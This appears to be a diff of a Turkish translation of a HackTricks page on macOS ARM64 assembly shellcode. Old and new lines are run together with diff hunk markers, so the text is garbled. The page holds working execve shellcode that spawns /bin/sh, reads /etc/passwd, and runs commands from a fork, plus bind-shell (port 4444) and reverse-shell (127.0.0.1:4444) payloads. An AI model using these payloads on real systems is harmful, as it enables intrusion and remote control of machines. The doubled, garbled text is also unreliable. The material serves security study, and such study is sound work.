[**Buradan**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) alınmış ve açıklanmıştır.
{% tabs %} {% tabs %}
{% tab title="adr ile" %} {% tab title="adr ile" %}
@ -351,7 +432,9 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
sh_path: .asciz "/bin/sh" sh_path: .asciz "/bin/sh"
``` ```
{% tab title="yığın ile" %} {% endtab %}
{% tab title="yığınla" %}
```armasm ```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@ -380,11 +463,9 @@ mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
``` ```
{% tabs %} #### Cat ile oku
{% tab title="cat ile oku" %}
Hedef, `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmaktır, bu nedenle ikinci argüman (x1), parametrelerin bir dizisi (bellekte bir adres yığını anlamına gelir) olmalıdır. Amacımız `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmak, bu yüzden ikinci argüman (x1) parametrelerin bir dizisi olmalıdır (bellekte bu adreslerin bir yığını anlamına gelir).
{% endtab %}
{% endtabs %}
```armasm ```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text .section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main .global _main ; Declare a global symbol _main
@ -410,9 +491,7 @@ cat_path: .asciz "/bin/cat"
.align 2 .align 2
passwd_path: .asciz "/etc/passwd" passwd_path: .asciz "/etc/passwd"
``` ```
#### Ana işlem öldürülmediği için bir çataldan sh ile komut çağırma #### Ana işlem öldürülmezken bir çataldan sh ile komut çağırma
Bir çataldan sh kullanarak komut çağırmak, ana işlemin öldürülmediği anlamına gelir.
```armasm ```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text .section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main .global _main ; Declare a global symbol _main
@ -458,7 +537,7 @@ touch_command: .asciz "touch /tmp/lalala"
``` ```
#### Bağlama kabuğu #### Bağlama kabuğu
Bağlama kabuğu [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) adresindeki **4444 numaralı port** üzerinden alınır. Bağlama kabuğu [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) adresinden **4444 numaralı bağlantı noktası** ile.
```armasm ```armasm
.section __TEXT,__text .section __TEXT,__text
.global _main .global _main
@ -542,7 +621,7 @@ svc #0x1337
``` ```
#### Ters kabuk #### Ters kabuk
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s) adresinden **127.0.0.1:4444**'e ters kabuk (revshell) alın. [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s) adresinden **127.0.0.1:4444**'e revshell'i alın.
```armasm ```armasm
.section __TEXT,__text .section __TEXT,__text
.global _main .global _main
@ -611,14 +690,14 @@ svc #0x1337
``` ```
<details> <details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a göz atın!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details> </details>